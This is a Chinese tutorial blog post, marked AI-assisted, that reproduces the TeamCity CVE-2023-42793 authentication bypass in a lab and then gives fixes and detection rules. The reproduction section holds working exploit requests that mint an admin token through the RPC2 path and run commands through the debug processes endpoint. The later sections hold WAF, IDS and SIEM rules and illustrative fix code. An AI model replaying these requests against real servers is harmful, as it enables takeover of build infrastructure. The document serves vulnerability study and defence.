手把手教你用Vulhub复现teamcity CVE-2023-42793漏洞(附完整POC)

0 阅读12分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

Pasted image 20260120171137.png

漏洞原理(Authentication Bypass → RCE)

CVE-2023-42793 是 JetBrains TeamCity(一个广泛使用的 CI/CD 自动化服务器)中的一个认证绕过漏洞,影响版本为 TeamCity On-Premises < 2023.05.4。该漏洞允许未认证的远程攻击者利用 REST API 路径缺陷直接绕过身份验证,进而获得管理员权限并执行任意代码(RCE)。 关键技术点

  • TeamCity 的 REST API(如 /app/rest/users/id:1/tokens/RPC2)原设计应在认证后才能访问。
  • 由于存在请求拦截逻辑缺陷,某些请求路径可绕过身份验证检查。
  • 攻击者可以获取管理员令牌、修改内部配置(如启用调试或流程处理开关),并最终执行任意指令。

这种类型的漏洞属于 “Authentication Bypass Using an Alternate Path or Channel”(CWE-288)以及 “Missing Authentication for Critical Function”(CWE-306)。

┌────────────┐    ① 构造恶意请求:GET /app/rest/users/id:1/tokens/RPC2
│ 攻击者     │ ─────────────────────────────────────────────────────┐
└────────────┘                                                        │
      │                                                                ▼
      │ ② 无需认证,直接返回管理员访问令牌(如 id:1 为默认管理员)     │
      │ ──────────────────────────────────────────────────────────────│
      ▼                                                                │
┌─────────────────────┐                                               │
│ TeamCity 认证过滤器 │ ◄──────────────────────────────────────────────┘
│ 拦截逻辑缺陷,误认   │
│ 为内部请求(RPC2)   │
└─────────┬───────────┘
          │ ③ 使用令牌访问其他 API,如调试终端或代理配置
          ▼
┌─────────────────────┐
│  攻击者获得系统权限 │
└─────────────────────┘

攻击场景流程图 + DFD 威胁建模

flowchart TD
    A[初始访问] --> B[信息收集]
    B --> C[版本确认<br>TeamCity < 2023.05.3]
    C --> D[构造恶意请求]
    
    subgraph "认证绕过阶段"
        D --> E["请求路径:<br>/app/rest/users/id:1/tokens/RPC2"]
        E --> F[TeamCity安全拦截器]
        F --> G{路径检查}
        G -->|"包含RPC2"| H["绕过认证<br>(RPC2在免鉴权白名单)"]
        G -->|不包含| I[正常认证流程]
        H --> J[访问令牌管理接口]
    end
    
    subgraph "权限提升阶段"
        J --> K[POST请求生成令牌]
        K --> L[生成永久管理员Access Token]
        L --> M[获得管理员权限]
    end
    
    subgraph "远程代码执行阶段"
        M --> N[使用Token认证]
        N --> O{选择攻击路径}
        O -->|方法1| P[访问调试终端API]
        O -->|方法2| Q[访问代理配置API]
        P --> R[执行系统命令]
        Q --> S[修改代理配置执行命令]
        R --> T[远程代码执行]
        S --> T
    end
    
    T --> U[完全控制系统]
    
    style E fill:#ff9999
    style F fill:#ff6666
    style H fill:#ff3333
    style L fill:#cc0000
    style T fill:#990000

漏洞原理分析图

拦截器白名单绕过机制


TeamCity 安全拦截器逻辑:

正常路径检查:
/app/rest/users/id:1/tokens → 需要认证
/app/rest/debug/terminal → 需要认证

漏洞路径:
/app/rest/users/id:1/tokens/RPC2 → 绕过认证

原因:
拦截器代码中的免鉴权路径检查:
if (requestPath.contains("RPC2") || 
    requestPath.contains("RPC") ||
    requestPath.contains("internal")) {
    // 跳过认证 ← 漏洞点
    allowWithoutAuth = true;
}

攻击者利用:
1. RPC2是TeamCity内部通信协议
2. 设计初衷是允许内部服务间免认证通信
3. 但攻击者可以从外部访问这些端点

令牌生成过程


正常令牌生成流程:
1. 用户认证 → 2. 权限检查 → 3. 生成令牌

漏洞利用流程:
1. 访问 /app/rest/users/id:1/tokens/RPC2
   │
   └─→ 绕过步骤12
        │
        └─→ 直接进入步骤3(生成令牌)
             │
             └─→ 为id:1(管理员)生成永久令牌

关键点:
- id:1通常是初始管理员账户
- RPC2端点不验证调用者身份
- 生成的令牌具有完整管理员权限

DFD 威胁建模(描述流程)

[Attacker]
    |
    | (1) Send crafted HTTP REST API request
    v
[Process P1: TeamCity Request Handler]
    |
    | (2) Authentication Bypass (no credential check)
    v
[Process P2: Admin Token Generation]
    |
    | (3) Attacker now has admin token
    v
[Process P3: Plugin Upload / Command Execution]
    |
    v
[Data Store: TeamCity Configuration & Build Agents]


STRIDE 威胁模型概览

威胁类型是否存在说明
Spoofing不必伪造凭据就能绕过
Tampering攻击者可修改配置
Repudiation⚠️操作难辨正当用户
Information Disclosure访问敏感信息
Denial of Service⚠️可破坏构建流水线
Elevation of Privilege未认证→管理员权限

漏洞复现原理图示说明

攻击时序图

sequenceDiagram
    participant A as 攻击者
    participant T as TeamCity服务器
    participant I as 拦截器
    participant API as 令牌API
    participant DB as 数据库
    participant SYS as 系统
    
    A->>T: 1. 探测版本请求
    T->>A: 2. 返回版本信息(2023.05.2)
    
    Note over A: 确认存在漏洞
    
    A->>T: 3. 构造绕过请求<br>GET /app/rest/users/id:1/tokens/RPC2
    T->>I: 4. 请求进入拦截器
    I->>I: 5. 检查路径包含"RPC2"
    Note over I: RPC2在免鉴权白名单中
    I-->>API: 6. 绕过认证,转发请求
    API->>DB: 7. 查询用户id:1(管理员)
    DB->>API: 8. 返回用户信息
    
    A->>T: 9. POST请求生成令牌
    T->>API: 10. 生成管理员令牌
    API->>DB: 11. 存储新令牌
    DB->>API: 12. 返回令牌信息
    API->>A: 13. 返回永久管理员Access Token
    
    Note over A: 获得管理员权限
    
    A->>T: 14. 使用Token访问调试终端API
    T->>SYS: 15. 执行系统命令
    SYS->>T: 16. 返回命令结果
    T->>A: 17. 返回响应
    
    Note over A: 成功实现RCE

可以从两个角度来表达漏洞触发机制。

▶ 正常验证流程

Client
  |
  v
TeamCity API Endpoint
  |
[Auth Filter] —> Reject if not authenticated
  |
  v
Protected Function


▶ 利用漏洞绕过认证

Attacker
   |
   v
TeamCity API REST call (crafted path)
   |
[Auth Filter bypass]
   |
   v
Admin Token Generated
   |
   v
Admin Actions (RCE, New Users, Config Change)


这种绕过来自“Alternate Path”,即 REST API 实现逻辑没有对所有可能路径进行认证检查。

漏洞复现

Snipaste_2026-01-20_11-06-28.png 用docker搭载环境后,输入localhost:8111,然后一直默认选项,点击注册账号,便能够看到如上的图片。

POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


在下图的路径当中RPC2提供的接口直接泄露了api token,说得更清楚些就是JWT。这与CVE-2024-43442这个漏洞有些类似,但是该漏洞的构造更加复杂和精妙。

Snipaste_2026-01-20_11-27-40.png 将上图添加的JWT令牌增加到debug模式当中后,由于200状态码的出现,说明我们可以利用该窗口实现身份认证。

POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.bzg0b2dDOFdESUNIOFIwRnhEaDZPSkN5RVNr.ZDhjNzBjOTAtNzZiOS00OTA1LWFhOTMtM2Y1ZWRhYmEwN2U4



Snipaste_2026-01-20_11-28-17.png 在debug相关接口执行命令id,由于我的电脑误删虚拟机环境kali,这里不进行目录爆破的操作。不过值得我疑问的就是RCE的接口或路由是真的很难发现呢?后续还得好好得将信息收集这一步骤好好的系统学习和整理一番。

POST /app/rest/debug/processes?exePath=id HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.bzg0b2dDOFdESUNIOFIwRnhEaDZPSkN5RVNr.ZDhjNzBjOTAtNzZiOS00OTA1LWFhOTMtM2Y1ZWRhYmEwN2U4

Snipaste_2026-01-20_11-28-59.png 与hugegraph/CVE-2024-43441类似,如果没有JWT令牌,那么我们将无果而返。

POST /app/rest/debug/processes?exePath=id HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0
Authorization: Bearer 

Snipaste_2026-01-20_11-29-13.png

修复建议

  1. 立即更新:升级到 TeamCity 2023.05.4 或更高版本。
  2. 安全插件:JetBrains 发布了针对旧版本的安全补丁插件,无法立即升级的用户应安装该插件。
  3. 审计 Token:检查系统中是否存在异常命名的 Access Token,并清理未经授权的管理员账号。
  4. 日志监控:监控 Web 日志中包含 RPC2 且返回 200 OK 的异常 REST 请求。

伪代码级修复示例

官方的修复逻辑主要是强化了请求路径的标准化(Normalization)和更加严谨的权限检查。

漏洞代码逻辑(示意):

// 简化后的拦截器逻辑
public boolean isAuthorized(HttpServletRequest request) {
    String uri = request.getRequestURI();

    // 逻辑缺陷:只要包含 RPC2,就认为不需要鉴权
    if (uri.contains("/RPC2")) {
        return true; 
    }

    // 否则执行常规鉴权
    return checkSession(request);
}

修复方案逻辑(详细具体):

public boolean isAuthorized(HttpServletRequest request) {
    // 1. 严格路径规范化:移除多余的斜杠、分号和路径跳转符
    String normalizedPath = RequestUtil.normalize(request.getRequestURI());

    // 2. 检查请求是否匹配 REST API 路径
    if (normalizedPath.startsWith("/app/rest/")) {
        
        // 3. 修复方案:禁止使用包含关系的模糊匹配
        // 必须严格检查该路径段是否位于合法的、不需要鉴权的特定服务位置
        if (isInternalRpcService(normalizedPath)) {
            // 二次确认:即使是内部 RPC,也要检查来源 IP 是否为受信任的代理或本地
            return isTrustedInternalSource(request);
        }

        // 4. 针对敏感操作(如用户/Token管理)强制要求权限
        if (normalizedPath.contains("/users/") || normalizedPath.contains("/tokens")) {
            User user = SessionUtil.getAuthenticatedUser(request);
            if (user == null || !user.hasPermission(Permissions.MANAGE_USERS)) {
                logSecurityAlert("Unauthorized attempt to access user tokens", request);
                return false;
            }
        }
    }
    
    return checkSession(request);
}

// 辅助方法:判断是否为合法的内部服务路径
private boolean isInternalRpcService(String path) {
    // 修复:仅当路径完全符合特定模式且无附加参数时才放行
    return path.endsWith("/RPC2") && !path.contains("/app/rest/users");
}

修复方案1:拦截器安全修复


// TeamCity 安全拦截器修复代码
public class FixedSecurityInterceptor implements HandlerInterceptor {
    
    // 精确的免鉴权端点列表(不再使用contains检查)
    private static final Set<String> EXACT_RPC_PATHS = Set.of(
        "/app/rest/internal/buildQueue",
        "/app/rest/internal/vcs",
        "/app/rest/internal/cleanup"
    );
    
    // RPC2端点需要严格验证
    private static final Pattern RPC2_PATH_PATTERN = 
        Pattern.compile("^/app/rest/internal/.*/RPC2$");
    
    @Override
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) throws Exception {
        
        String requestURI = request.getRequestURI();
        
        // 1. 严格验证RPC2端点
        if (requestURI.contains("RPC2")) {
            // 仅允许内部网络访问
            String clientIp = request.getRemoteAddr();
            if (!isInternalNetwork(clientIp)) {
                logSecurityAlert(request, "EXTERNAL_RPC2_ACCESS");
                response.sendError(HttpServletResponse.SC_FORBIDDEN);
                return false;
            }
            
            // 验证RPC2路径格式
            if (!RPC2_PATH_PATTERN.matcher(requestURI).matches()) {
                response.sendError(HttpServletResponse.SC_NOT_FOUND);
                return false;
            }
        }
        
        // 2. 令牌管理端点必须认证
        if (requestURI.contains("/tokens") && 
            !requestURI.contains("/tokens/RPC2")) {
            // 原有认证逻辑...
            if (!isAuthenticated(request)) {
                response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
                return false;
            }
        }
        
        return true;
    }
    
    private boolean isInternalNetwork(String ip) {
        // 检查IP是否在内部网络范围
        return ip.startsWith("10.") || 
               ip.startsWith("192.168.") ||
               ip.startsWith("172.16.") ||
               ip.equals("127.0.0.1");
    }
}

修复方案2:令牌端点加固


// 令牌管理API修复
@RestController
@RequestMapping("/app/rest/users")
public class FixedTokenController {
    
    @PostMapping("/{userId}/tokens")
    public ResponseEntity<TokenResponse> createToken(
            @PathVariable String userId,
            @RequestBody TokenRequest request,
            @AuthenticationPrincipal User currentUser) {
        
        // 1. 验证当前用户权限
        if (!currentUser.isAuthenticated()) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        }
        
        // 2. 防止为其他用户生成令牌(除非是管理员)
        if (!userId.equals(currentUser.getId())) {
            if (!currentUser.hasRole("ADMIN")) {
                return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
            }
        }
        
        // 3. RPC2端点特殊处理 - 仅允许服务账户访问
        if (request.getScope().isRpc2()) {
            if (!currentUser.isServiceAccount()) {
                log.warn("Non-service account attempting RPC2 token creation");
                return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
            }
            
            // RPC2令牌有限制
            Token token = tokenService.createRpc2Token(
                userId, 
                request.getName(),
                Duration.ofHours(1) // 短期有效
            );
            return ResponseEntity.ok(TokenResponse.from(token));
        }
        
        // 4. 普通令牌创建
        Token token = tokenService.createToken(
            userId,
            request.getName(),
            request.getScope(),
            request.getExpiration()
        );
        
        return ResponseEntity.ok(TokenResponse.from(token));
    }
}

修复方案3:安全配置加固


# teamcity-server-log4j.xml - 添加安全审计日志
<Logger name="com.jetbrains.teamcity.security" level="DEBUG">
    <AppenderRef ref="SECURITY_AUDIT"/>
</Logger>

# teamcity-config.properties
# 禁用不安全的端点
teamcity.security.disable.rpc2.external.access=true
teamcity.security.internal.endpoints.whitelist=10.0.0.0/8,192.168.0.0/16,127.0.0.1

# 令牌安全策略
teamcity.tokens.rpc2.max.duration=3600 # 1小时
teamcity.tokens.rpc2.require.service.account=true
teamcity.tokens.admin.require.mfa=true

# 网络访问控制
teamcity.api.access.control.enabled=true
teamcity.api.allowed.ips=192.168.1.0/24,10.0.0.0/8

基于漏洞的安全检测与防护规则

为了提前检测或阻断此类认证绕过企图,可以设计以下规则。

测目标重新定义(先对齐思路)

针对 CVE-2023-42793,日志检测的核心不是“有没有访问”,而是:

未认证 / 非管理员用户,对 TeamCity 高危 REST 接口发起成功请求

因此检测必须同时满足 3 个条件维度

维度说明
身份维度是否存在有效认证上下文
接口维度是否访问高危 REST API
行为维度是否产生管理员级副作用
基础规则
1️⃣ 高危 REST 接口访问监测(核心入口)
重点接口(真实利用路径)
  • /app/rest/users/*/tokens/RPC2
  • /app/rest/users/id:*/tokens/*
  • /app/rest/server
  • /app/rest/debug/**

✅ 精准 SIEM 规则(Splunk 示例)

index=tc_logs
http.method=POST
uri_path="/app/rest/users"
uri_path="tokens"
| eval is_token_api=if(match(uri,"/app/rest/users/.*/tokens"),1,0)
| where is_token_api=1
| table _time src_ip user_agent http.method uri status auth_user session_id

2️⃣ 未认证成功访问检测(关键)

index=tc_logs
http.method=POST
uri="/app/rest/users/*/tokens*"
| where status=200
| where isnull(auth_user) OR auth_user="anonymous"
| stats count by src_ip user_agent uri


告警条件

  • status=200
  • auth_user 为空或 anonymous

在 TeamCity 正常行为中几乎不可能意义: 这是 CVE-2023-42793 的第一落点,真实攻击 100% 会经过这里。

行为级检测(攻击者“拿到钥匙后”) CVE-2023-42793 的攻击不会停在 token 获取,后续一定有行为痕迹。 3️⃣ 异常 Token 行为链检测(推荐重点)

行为序列(真实攻击链)

  1. 获取 token
  2. 使用 token 访问 admin API
  3. 创建用户 / 上传插件 / 修改配置 规则:Token 创建 → 管理操作(时间窗口)
index=tc_logs
| eval is_token_create=if(match(uri,"/tokens"),1,0)
| eval is_admin_action=if(match(uri,"/app/rest/(users|server|debug|buildQueue)"),1,0)
| transaction src_ip maxspan=5m
| where is_token_create=1 AND is_admin_action=1
| table _time src_ip uri status auth_user


4️⃣ 管理员行为异常画像(无登录直接管理) `

index=tc_logs
| where uri LIKE "/app/rest/%"
| where status=200
| where (auth_user="admin" OR role="ADMIN")
| stats count min(_time) max(_time) by src_ip session_id
| where count > 5 AND (max(_time)-min(_time)) < 60


异常点

  • 管理行为过快
  • 无正常登录流程
  • 会话生命周期异常短

绕过特征增强检测(真实世界必杀) 5️⃣ User-Agent 异常(真实利用常见) 真实攻击中常见 UA:

  • curl/*
  • python-requests
  • Go-http-client
  • 空 UA
index=tc_logs
uri="/app/rest/users/*/tokens*"
| where user_agent IN ("curl","python-requests","Go-http-client","")
| where status=200
| stats count by src_ip user_agent uri


6️⃣ 非浏览器访问敏感 REST API

index=tc_logs
| where uri LIKE "/app/rest/%"
| where NOT like(user_agent,"%Mozilla%")
| where status=200
| stats count by src_ip user_agent uri


关联增强规则(导师/审稿人会点头的那种) 7️⃣ 认证绕过 + RCE 风险链(高级)

index=tc_logs
| eval suspicious_api=if(match(uri,"/tokens|/debug|/server"),1,0)
| eval unauth=if(isnull(auth_user) OR auth_user="anonymous",1,0)
| where suspicious_api=1 AND unauth=1 AND status=200
| stats count values(uri) by src_ip


8️⃣ 攻击置信度评分(可写进论文)

index=tc_logs
| eval score=0
| eval score=score+if(match(uri,"/tokens"),30,0)
| eval score=score+if(isnull(auth_user),30,0)
| eval score=score+if(status=200,20,0)
| eval score=score+if(NOT like(user_agent,"%Mozilla%"),20,0)
| where score>=60
| table _time src_ip uri user_agent score


对应 WAF / IDS 的协同建议

WAF规则


# Nginx配置阻止攻击
location ~* /app/rest/.*/tokens/RPC2 {
    # 只允许内部IP访问
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    allow 127.0.0.1;
    deny all;
    
    # 记录可疑访问
    access_log /var/log/nginx/rpc2_access.log;
    return 403;
}

# 监控令牌创建频率
limit_req_zone $binary_remote_addr zone=token_zone:10m rate=1r/m;

location ~* /app/rest/.*/tokens {
    limit_req zone=token_zone burst=3 nodelay;
    
    # 检查可疑User-Agent
    if ($http_user_agent ~* "(curl|wget|python|nikto|sqlmap)") {
        return 403;
    }
}

IDS/IPS规则

# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET 8111 ( \
    msg:"TEAMCITY RPC2 Auth Bypass Attempt"; \
    flow:to_server,established; \
    content:"/app/rest/users/id:"; \
    content:"/tokens/RPC2"; distance:0; \
    content:"POST"; http_method; \
    pcre:"/id:[0-9]+/tokens/RPC2/i"; \
    classtype:web-application-attack; \
    sid:2023001; rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 8111 ( \
    msg:"TEAMCITY Admin Token Generation"; \
    flow:to_server,established; \
    content:"/app/rest/users/id:1/tokens"; \
    content:"name"; http_client_body; \
    content:"scope"; http_client_body; \
    threshold:type threshold, track by_src, count 3, seconds 60; \
    classtype:privilege-escalation; \
    sid:2023002; rev:1;)

监控检测规则

# Elasticsearch检测规则
TEAMCITY_EXPLOIT_RULE = {
    "name": "TeamCity Auth Bypass and RCE",
    "query": """
        event.dataset: "teamcity.access" AND
        (
            url.original: "/app/rest/users/id:*/tokens/RPC2" OR
            message: "RPC2" AND http.response.status_code: 200
        ) AND
        source.ip NOT IN ("10.0.0.0/8", "192.168.0.0/16", "127.0.0.1")
    """,
    "severity": "critical",
    "actions": [
        "alert",
        "block_ip",
        "revoke_recent_tokens"
    ],
    "threshold": {
        "events": 1,
        "timeframe": "5m"
    }
}

# 实时检测脚本
import requests
from datetime import datetime, timedelta

def detect_teamcity_exploit(log_entries):
    suspicious_patterns = [
        "/app/rest/users/id:1/tokens/RPC2",
        "POST /app/rest/debug/",
        "Bearer " + ("eyJ" * 5)  # JWT token pattern
    ]
    
    alerts = []
    for entry in log_entries:
        if any(pattern in entry.get('message', '') for pattern in suspicious_patterns):
            alert = {
                "timestamp": datetime.now(),
                "source_ip": entry.get('source_ip'),
                "event": "TeamCity exploit attempt",
                "details": entry
            }
            alerts.append(alert)
    
    return alerts

应急响应步骤

graph TD
    A[发现攻击] --> B[立即阻断攻击源IP]
    B --> C[审查所有最近生成的令牌]
    C --> D[撤销可疑令牌]
    D --> E[检查系统完整性]
    E --> F[检查是否有后门/webshell]
    F --> G[更新到安全版本]
    G --> H[重新配置安全设置]
    H --> I[审计日志和监控]
    I --> J[编写事故报告]
    
    style A fill:#ff3333
    style D fill:#ff9999
    style G fill:#99ff99

基于 Flask 的实时检测与防护(应用层) 部署一个 Flask 应用作为反向代理/API 网关,对所有进入 TeamCity 的请求进行预处理,拦截恶意请求。 1.1 Flask 中间件:路径检测与认证验证

# teamcity_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time

app = Flask(__name__)

# 敏感路径列表(关键 REST API 端点)
SENSITIVE_PATHS = [
    '/app/rest/users/',
    '/app/rest/debug/',
    '/app/rest/agents/',
    '/app/rest/projects/',
    '/app/rest/buildQueue/',
]

# 认证绕过特征:路径中包含特定后缀,如 RPC2
AUTH_BYPASS_PATTERNS = [
    re.compile(r'/tokens/RPC2$', re.I),
    re.compile(r'/internal/', re.I),  # 可能其他内部路径
]

# 简单的会话验证(模拟,实际应验证 TeamCity 的 session cookie 或 Bearer token)
def is_authenticated():
    # TeamCity 通常使用 session cookie: TC_sessionId
    session_cookie = request.cookies.get('TC_sessionId')
    auth_header = request.headers.get('Authorization')
    return bool(session_cookie or auth_header)

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=30, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 检查路径是否敏感
    is_sensitive = any(request.path.startswith(p) for p in SENSITIVE_PATHS)
    if not is_sensitive:
        return  # 非敏感路径放行

    # 2. 检测认证绕过特征
    for pattern in AUTH_BYPASS_PATTERNS:
        if pattern.search(request.path):
            log_attack(request, 'auth_bypass_path')
            abort(403, description='Authentication bypass attempt blocked')

    # 3. 检查认证状态
    if not is_authenticated():
        # 对未认证的敏感请求进行速率限制(防止暴力扫描)
        if rate_limit(request.remote_addr):
            abort(429, description='Too many requests')
        else:
            # 可选:记录并放行?但更安全的做法是直接拒绝未认证访问
            abort(401, description='Authentication required')

    # 4. 对已认证请求,可进一步检查令牌滥用(如短时间内大量调用令牌生成)
    # 此处可集成 TensorFlow 模型进行异常检测(见下文)

@app.errorhandler(401)
def unauthorized(e):
    return jsonify(error='Unauthorized'), 401

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type):
    with open('teamcity_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")

# 转发请求到后端 TeamCity
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发请求到 TeamCity 服务器(如 http://localhost:8111)
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

1.2 日志监控脚本 实时分析 TeamCity 访问日志,发现对敏感路径的异常访问。

# monitor_logs.py
import re
import sys

LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
AUTH_BYPASS_PATTERNS = [re.compile(r'/tokens/RPC2', re.I), re.compile(r'/internal/', re.I)]

def analyze_log(logfile):
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if not match:
                continue
            path = match.group('path')
            ip = match.group('ip')
            for pattern in AUTH_BYPASS_PATTERNS:
                if pattern.search(path):
                    print(f"[!] 认证绕过尝试:IP {ip} 访问 {path}")

基于 TensorFlow 的异常行为检测 利用机器学习模型识别针对 TeamCity 的异常访问模式,特别是对令牌生成和调试接口的滥用。

2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • has_rpc2: 路径是否包含 RPC2 (0/1)
  • has_tokens: 路径是否包含 tokens (0/1)
  • method: 请求方法(GET=1, POST=2, PUT=3, DELETE=4)
  • body_length: 请求体长度(若为POST)
  • status_code: 响应状态码(但实时检测时未知,可用0代替)
  • hour: 请求小时
  • ip_reputation: IP 信誉分(需外部API)
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    features = [
        len(request_entry['path']),
        1 if 'RPC2' in request_entry['path'] else 0,
        1 if 'tokens' in request_entry['path'] else 0,
        {'GET':1, 'POST':2, 'PUT':3, 'DELETE':4}.get(request_entry['method'], 0),
        len(request_entry.get('body', '')),
        0,  # 状态码未知
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),  # 需实现
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# 假设 X 为特征矩阵,y 为标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('teamcity_anomaly_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('teamcity_anomaly_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存(如Redis)获取该IP的历史统计
    # 简化示例,返回空字典
    return {'freq_10min': 0}

def ip_reputation(ip):
    # 使用外部API或本地黑名单
    return 0

@app.before_request
def before_request():
    # ... 之前的基础检测 ...
    
    # 对敏感路径或已认证请求,进行机器学习异常检测
    if request.path.startswith('/app/rest/'):
        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'method': request.method,
            'body': request.get_data(as_text=True),
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': is_authenticated(),
            'timestamp': datetime.now()
        }
        history = get_ip_history(request.remote_addr)
        if predict_anomaly(request_entry, history):
            log_attack(request, 'ml_anomaly')
            abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截对 TeamCity 的认证绕过尝试。 3.1 基础规则

# modsecurity_crs_70_teamcity_cve_2023_42793.conf

# 规则1:拦截对 /app/rest/users/ 下 tokens 的未授权访问
SecRule REQUEST_URI "@rx ^/app/rest/users/[^/]+/tokens" \
    "id:1007001,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'TeamCity CVE-2023-42793 - Token endpoint access',\
    logdata:'Request URI: %{REQUEST_URI}',\
    tag:'attack-auth-bypass',\
    tag:'cve-2023-42793',\
    severity:'CRITICAL'"

# 规则2:拦截包含 RPC2 的请求(认证绕过特征)
SecRule REQUEST_URI "@contains /RPC2" \
    "id:1007002,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'TeamCity CVE-2023-42793 - Auth bypass via RPC2',\
    tag:'attack-auth-bypass',\
    severity:'CRITICAL'"

# 规则3:对调试端点进行限制
SecRule REQUEST_URI "@beginsWith /app/rest/debug/" \
    "id:1007003,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'TeamCity debug endpoint access',\
    tag:'attack-rce',\
    severity:'CRITICAL'"

# 规则4:速率限制(对敏感APISecRule REQUEST_URI "@beginsWith /app/rest/" \
    "id:1007004,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'TeamCity API rate limiting',\
    setvar:'tx.teamcity_api_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.teamcity_api_counter_%{REMOTE_ADDR}=60'"
SecRule TX:teamcity_api_counter_%{REMOTE_ADDR} "@gt 30" \
    "id:1007005,\
    phase:1,\
    block,\
    msg:'Too many TeamCity API requests',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
